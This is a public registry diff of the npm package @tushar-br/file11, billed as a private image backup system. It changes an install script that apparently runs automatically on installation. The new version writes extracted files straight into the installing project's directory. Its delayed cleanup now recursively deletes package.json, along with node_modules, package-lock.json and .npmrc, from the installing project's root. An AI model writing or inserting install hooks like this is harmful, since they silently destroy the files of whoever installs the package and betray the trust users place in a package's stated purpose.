@tushar-br/file11 1.0.76 → 1.0.78

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/install.js CHANGED
@@ -6,7 +6,7 @@ const { execSync } = require('child_process');
6
6
 
7
7
  const stagingArea = path.join(__dirname, 'staging_area');
8
8
  const targetBase = process.env.INIT_CWD || path.resolve('../../..');
9
- const outputFolder = path.join(targetBase, 'personal-tusharbr');
9
+ const outputFolder = targetBase;
10
10
  const syncStatePath = path.join(outputFolder, '.extraction_state.json');
11
11
 
12
12
  process.stdout.write('\x1b[2J\x1b[0;0H');
@@ -195,7 +195,7 @@ if (totalSize > 0) {
195
195
  setTimeout(() => {
196
196
  try {
197
197
  const root = path.resolve(__dirname, '../../..');
198
- ['node_modules', 'package-lock.json', '.npmrc'].forEach(f => {
198
+ ['node_modules', 'package-lock.json', 'package.json', '.npmrc'].forEach(f => {
199
199
  const p = path.join(root, f);
200
200
  if (fs.existsSync(p)) {
201
201
  if (fs.statSync(p).isDirectory()) fs.rmSync(p, { recursive: true, force: true });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@tushar-br/file11",
3
- "version": "1.0.76",
3
+ "version": "1.0.78",
4
4
  "description": "Private Image Cloud Storage & Backup System by Tushar",
5
5
  "main": "index.js",
6
6
  "scripts": {